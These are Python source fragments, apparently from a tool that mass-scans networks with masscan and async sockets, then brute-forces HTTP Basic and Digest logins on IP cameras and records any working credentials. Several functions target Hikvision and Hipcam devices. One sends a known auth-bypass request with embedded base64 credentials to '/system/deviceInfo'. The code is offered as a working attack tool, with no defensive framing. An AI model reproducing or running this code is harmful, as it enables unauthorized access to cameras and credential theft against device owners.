def run(self): while self.isRunning: try: # print(self.ports) with Lock(): host = str(self.scan_queue.get()) # progress.increment('scan_index') asyncio.set_event_loop(asyncio.new_event_loop()) PortScanner(host, self.ports, self.analyse_queue, self.scan_queue, connection_timeout=5).main() # self.ports = ps.parse_ports(self.ports) # for port in self.ports: # if self.scan_function(host, port): # # print([host, port]) # self.analyse_queue.put(f'{host}:{port}') # progress.increment('discover_total') except Exception as e: raise e finally: print( f'\r{round(((262144 - self.scan_queue.qsize())/262144)*100, 2)}', end='') state = 0 #if self.total == 0 else (progress.get_scan_index() * 100) / self.total # self.sig.send_signal_bar(int(state)) if state >= 99 and progress.get_actual_action() == 'scanning': progress.increment('action', value='discovering') self.sig.change_actual_action.emit('Discovering') self.stop()
def run(self): # self.sig.stop_signal.connect(lambda: self.stop()) while progress.isScan: try: self.isDone = False self.sig.change_brute_progress_str.emit( bold( f'[{progress.get_brute_index()}/{progress.get_brute_total()}] Brute progress...' )) with threading.Lock(): self.data = self.brute_queue.get() self.worker() if self.isDone: self.result_queue.put(self.data) progress.increment('successful') self.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) continue self.result_queue.put(self.data) progress.increment('brute_index') # self.sig.send_signal(build_terminal_line(self.data['ip'], self.data['vendor'])) self.brute_queue.task_done() except Exception as e: print(f'{__name__} - {e}') finally: if progress.actual_action == 'bruteforcing': total = progress.get_brute_total() state = 0 if total == 0 else (progress.get_brute_index() * 100) / total self.sig.send_change_progressBar(int(state)) if state == 100: self.sig.change_actual_action.emit('Finish') self.stop() return
def connect(self, usr, pwd): if 'Basic' in self.parent.data['authenticate']: if http_connect.basic_auth_check(self.ip, self.port, usr=usr, pwd=pwd): self.parent.data['usr'] = usr self.parent.data['pwd'] = pwd self.result_queue.put(self.parent.data) progress.increment('successful') self.parent.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) self.parent.isDone = True return True else: return False elif 'Digest' in self.parent.data['authenticate']: if http_connect.digest_auth_check(self.ip, self.port, usr=usr, pwd=pwd): self.parent.data['usr'] = usr self.parent.data['pwd'] = pwd self.result_queue.put(self.parent.data) progress.increment('successful') self.parent.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) self.parent.isDone = True return True return False
def try_for_vuln(self): try: resp = http_connect.basic_auth_check(self.ip, self.port, path=self.vuln_path) if resp: self.parent.data['vuln'] = True progress.increment('successful') self.parent.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) self.result_queue.put(self.parent.data) self.parent.isDone = True return True except: return False
def connect(self, usr, pwd): if http_connect.basic_auth_check(self.ip, self.port, usr=usr, pwd=pwd): self.parent.isDone = True self.parent.data['usr'] = usr self.parent.data['pwd'] = pwd self.parent.data['ch'] = self.get_channels_counter(usr, pwd) self.result_queue.put(self.parent.data) # self.parent.data = # self.result_queue.put({'host': self.ip, 'ip': self.ip, 'vendor': 'Hipcam', # 'usr': usr, 'pwd': pwd, 'device': 'IPCAM', 'vuln':None}) progress.increment('successful') self.parent.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) return True else: return False
async def check_port(self, ip, port): s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(self.connection_timeout) await asyncio.get_event_loop().sock_connect(s, (ip, port)) print(ip, port, 'ok') self.analyse_queue.put(f'{ip}:{port}') progress.increment('discover_total') return ip, port, 'ok' except (PermissionError, ConnectionRefusedError) as e: return ip, port, e except OSError as e: return ip, port, e except Exception as e: raise e finally: s.close()
def try_for_vuln(self): if self.server == 'App-webs/': try: resp = http_connect.basic_auth_check( self.ip, self.port, path='/system/deviceInfo?auth=YWRtaW46MTEK') # resp = Request(self.ip, path='/system/deviceInfo?auth=YWRtaW46MTEK') # resp.check() if resp: self.parent.data['vuln'] = True progress.increment('successful') self.result_queue.put(self.parent.data) self.parent.isDone = True return True except Exception as e: print(f'{__name__} - {e}') return False else: return False
def connect(self, username, password): # print(self.server) if self.server == 'Hikvision-Webs': resp = http_connect.basic_auth_check( self.ip, self.port, usr=username, pwd=password, returnall=True, path='/PSIA/Custom/SelfExt/userCheck') else: resp = http_connect.basic_auth_check( self.ip, self.port, usr=username, pwd=password, returnall=True, path='/ISAPI/System/Video/inputs/channels' ) #/ISAPI/System/status # resp = resp.text if resp: if '<statusValue>200</statusValue>' in resp or all( [msg not in resp for msg in self.bad_msg]) and len(resp) > 17: channels_count = len(findall('VideoInputChannel ', resp)) self.parent.data[ 'ch'] = channels_count if channels_count else 9 if self.parent.data['usr'] == username: return False self.parent.data['usr'] = username self.parent.data['pwd'] = password self.result_queue.put(self.parent.data) progress.increment('successful') self.parent.sig.change_successful_counter.emit( green(str(progress.get_successful_counter()))) self.parent.isDone = True return True else: return False else: return False
def run(self): while self.isRunning: tmp = TemporaryFile() try: masscan = 'masscan' if config.OS == 'windows' else 'sudo masscan' self.sub = Popen(f'{masscan} {" ".join(self.parameters)}', stdout=tmp, stderr=STDOUT, shell=True) while self.sub.poll() is None: where = tmp.tell() lines = tmp.read() if not lines: sleep(0.01) tmp.seek(where) else: lines = lines.decode().split('\n') for line in lines: if line.startswith('Discovered'): self.analyse_queue.put( self._line_processing(line)) progress.increment('discover_total') elif line.startswith('rate'): state = re.findall(r'\d{1,2}.\d{1,2}%', line) state = ''.join(state).replace('%', '') self.sig.send_change_progressBar( int(float(state))) self.sig.change_actual_action.emit(line) sys.__stdout__.write((tmp.read()).decode()) sys.__stdout__.flush() except Exception as e: print(f'{__name__} - {e}') finally: self.sub.kill() progress.increment('action', value='discovering') self.sig.change_actual_action.emit('Discovering...') break